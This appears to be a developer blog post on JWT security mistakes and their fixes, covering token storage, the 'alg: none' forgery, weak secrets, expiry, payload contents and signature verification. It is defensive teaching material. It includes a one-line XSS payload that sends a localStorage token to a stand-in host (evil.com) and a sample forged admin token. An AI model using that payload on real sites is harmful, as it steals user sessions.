JWTs: The Security Nightmare Nobody Warned You About 🎫
JWTs: The Security Nightmare Nobody Warned You About 🎫
So you learned about JWTs and thought "Cool, stateless authentication!" Then you Googled "JWT tutorial" and copy-pasted some code. Congratulations - you might have just created a security hole! 🕳️
Let me save you from the painful lessons I learned (and saw in countless code reviews). JWTs are great, but they're also like chainsaws - super useful when used correctly, absolute disaster when you mess up.
What Even Is a JWT? (The 30-Second Version) 🤔
JWT = JSON Web Token. It's basically a fancy permission slip that says "Hey, I'm authenticated!" without the server needing to remember you.
Think of it like a concert wristband:
- Regular sessions: Bouncer checks a list every time (database lookup)
- JWT: You show your wristband, bouncer reads it directly (no database needed)
Sounds efficient, right? It is! But here's where people screw up...
Mistake #1: Storing JWTs in localStorage 🙈
The scenario: Your JWT tutorial says "just put it in localStorage!"
The problem: XSS attacks can steal it. Like, trivially easy.
// DON'T DO THIS!
localStorage.setItem('token', jwt);
// A hacker injects this ONE LINE:
<script>fetch('https://evil.com?token=' + localStorage.getItem('token'))</script>
Result: Your token is now in Russia. Or North Korea. Or your ex's computer. Who knows! 🌍
The better way:
// Use httpOnly cookies instead!
// Set this on your backend:
res.cookie('token', jwt, {
httpOnly: true, // JavaScript can't access it!
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: 3600000 // 1 hour
});
Why it's better: JavaScript can't read httpOnly cookies. Even if a hacker injects XSS, they can't steal your token!
Pro Tip: If you MUST use localStorage (like for SPAs), at least implement short expiry times and refresh tokens. And pray.
Mistake #2: The "alg": "none" Catastrophe 💣
The horror story: Some JWT libraries accept "alg": "none" as valid.
What this means: "Hey server, I signed this token with... nothing!"
The attack:
// Hacker decodes your JWT, changes it:
{
"alg": "none",
"typ": "JWT"
}
{
"userId": 1,
"role": "admin", // Changed from "user"!
"exp": 9999999999
}
// No signature needed!
Your server: "Seems legit! Welcome, admin!" 🤦♂️
The fix:
// Node.js with jsonwebtoken
jwt.verify(token, SECRET_KEY, {
algorithms: ['HS256'] // EXPLICITLY specify allowed algorithms!
});
Never, EVER:
// This is basically asking to be hacked
jwt.verify(token, SECRET_KEY); // Allows ANY algorithm, including "none"
Mistake #3: Secrets That Aren't Secret 🔓
The facepalm moment: Using "secret" as your JWT secret.
Real examples I've seen:
"secret""password123""jwt_secret"- The app name
- Literally
"changeme"(they didn't change it)
Why it's bad: Hackers have dictionaries of common secrets. They'll crack yours in 0.2 seconds.
The right way:
// Generate a STRONG secret (in your terminal):
// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
// .env file (NEVER commit this!)
JWT_SECRET=8f7a9c2b4e1d6f3a5c8b7e2d9f4a6c1b8e5d2f9a7c4b1e8d5f2a9c6b3e1d8f5a
// Your code:
const jwt = require('jsonwebtoken');
const secret = process.env.JWT_SECRET;
// If secret is missing, FAIL LOUDLY
if (!secret) {
throw new Error('JWT_SECRET is not set! Check your .env file!');
}
Real Talk: If your secret is less than 32 characters, it's not a secret - it's a suggestion.
Mistake #4: Tokens That Live Forever 🧛♂️
The problem: Setting no expiration (or a crazy long one).
// This token is valid until the heat death of the universe
const token = jwt.sign({ userId: 1 }, secret);
// Or this monstrosity:
const token = jwt.sign(
{ userId: 1 },
secret,
{ expiresIn: '999y' } // Why not just write "forever"?
);
Why it sucks: If someone steals this token, they're logged in as you until... forever? You change jobs, move countries, ascend to a higher plane of existence - they're STILL logged in.
The smart approach:
// Short-lived access token (15 minutes)
const accessToken = jwt.sign(
{ userId: user.id },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
// Long-lived refresh token (7 days, stored securely)
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
REFRESH_SECRET,
{ expiresIn: '7d' }
);
The flow:
- User logs in → Get both tokens
- Access token expires after 15 min → Use refresh token to get new access token
- Refresh token expires after 7 days → User must log in again
- User's account compromised? → Increment
tokenVersionin DB → All their tokens are now invalid
Translation: Short leash on access, reasonable leash on refresh, ultimate control in your database.
Mistake #5: Putting Sensitive Data in JWTs 🎪
The misconception: "JWTs are encrypted!"
The truth: JWTs are SIGNED, not encrypted. Anyone can decode them.
// NOOOOO! 😱
const token = jwt.sign({
userId: 1,
email: '[email protected]',
password: 'hunter2', // WHY?!
creditCard: '4111111111111111', // STOP!
ssn: '123-45-6789', // I'M CALLING THE POLICE
secretAnswer: 'Fluffy'
}, secret);
What anyone can do:
// No secret needed to READ a JWT!
const decoded = Buffer.from(token.split('.')[1], 'base64').toString();
console.log(decoded); // See everything! 👀
What to actually put in JWTs:
// Minimal, non-sensitive claims only
const token = jwt.sign({
userId: user.id, // Just the ID
role: user.role, // Permissions are okay
iat: Date.now(), // Issued at
exp: Date.now() + 900000 // Expiry
}, secret);
Golden Rule: If you wouldn't shout it in a crowded room, don't put it in a JWT.
Mistake #6: Not Validating the Token Properly 🎭
The lazy way:
// Just decode it, don't verify!
const decoded = jwt.decode(token); // NO SIGNATURE CHECK!
if (decoded.userId) {
// Trust whatever is in here
const user = await User.findById(decoded.userId);
}
The problem: ANYONE can create a JWT. The signature is what proves it came from YOU.
The secure way:
try {
// VERIFY (not just decode) the signature
const decoded = jwt.verify(token, SECRET_KEY, {
algorithms: ['HS256'],
issuer: 'your-app-name', // Check who issued it
audience: 'your-app-users' // Check who it's for
});
// Additional checks
if (!decoded.userId || typeof decoded.userId !== 'number') {
throw new Error('Invalid token payload');
}
const user = await User.findById(decoded.userId);
// Check if user still exists and is active
if (!user || !user.isActive) {
throw new Error('User not found or inactive');
}
} catch (error) {
// Token is invalid, expired, or tampered with
return res.status(401).json({ error: 'Unauthorized' });
}
Pro Tip: Always use jwt.verify(), NEVER jwt.decode() for authentication. Decode is for debugging only!
The "I Got Hacked" Checklist 📋
If someone steals a JWT from your app, here's your damage control:
- Can't revoke it? That's why you need short expiry times!
- It's valid for a year? Ouch. Rotate your JWT secret (invalidates ALL tokens)
- User data leaked? Time to email users and explain why you put their SSN in a JWT
- "alg: none" accepted? Update your library, specify algorithms explicitly
- Stored in localStorage? Move to httpOnly cookies
- Using "secret" as secret? Generate a new one NOW
Your JWT Security Checklist ✅
Before you deploy:
- Using a cryptographically secure secret (32+ chars, random)
- Secret is in
.env, NOT in code or Git - Tokens expire (15 min access, 7 days refresh max)
- Using
jwt.verify()with explicit algorithms - Rejecting
"alg": "none"explicitly - Storing tokens in httpOnly cookies (or localStorage with caution)
- Only putting non-sensitive data in payload
- Implementing refresh token rotation
- Validating payload structure after verification
- Checking if user still exists/is active
Real Talk 💬
Q: "Should I even use JWTs?"
A: They're great for stateless APIs, microservices, and mobile apps. For traditional web apps? Sessions with cookies might be simpler and safer.
Q: "What about JWT libraries?"
A: Use battle-tested ones: jsonwebtoken (Node.js), PyJWT (Python), php-jwt (PHP). Don't roll your own!
Q: "How do I revoke JWTs?"
A: You can't, really. That's the tradeoff. Solutions: short expiry + refresh tokens, or maintain a blacklist (defeats the "stateless" purpose though).
Q: "Symmetric (HS256) vs Asymmetric (RS256)?"
A: HS256 is simpler (shared secret). RS256 is better when multiple services verify tokens (public key for verification, private key for signing). For most apps? HS256 is fine.
Quick Wins (Do These Right Now!) 🏃♂️
- Check your JWT secret - Is it strong? Is it in
.env? - Add expiry times - If your tokens live forever, fix that today
- Use
jwt.verify()notjwt.decode()- One line change, huge security boost - Review your payload - Remove any sensitive data
- Implement refresh tokens - Better UX + security
Resources That Don't Suck
- JWT.io - Decode and debug JWTs (don't paste production tokens!)
- OWASP JWT Cheat Sheet - The security bible
- jwt.io Libraries - Vetted JWT libraries for every language
The Bottom Line
JWTs are powerful but unforgiving. They're like giving someone a permission slip written in permanent marker - once it's out there, you can't take it back easily.
The good news? Most JWT security is just:
- Strong secrets (generate them right)
- Short expiry (15 minutes for access tokens)
- Proper verification (use
jwt.verify()with explicit algorithms) - Minimal payload (just IDs and roles, no secrets)
- Secure storage (httpOnly cookies FTW)
Do these five things, and you're ahead of 90% of developers!
Got JWT horror stories? Share them on LinkedIn - I'd love to hear them!
More security content coming soon! Because apparently, we all need it. 🔐
P.S. - If you're storing passwords in JWTs right now, close this browser and go fix that. I'll wait. 🛡️✨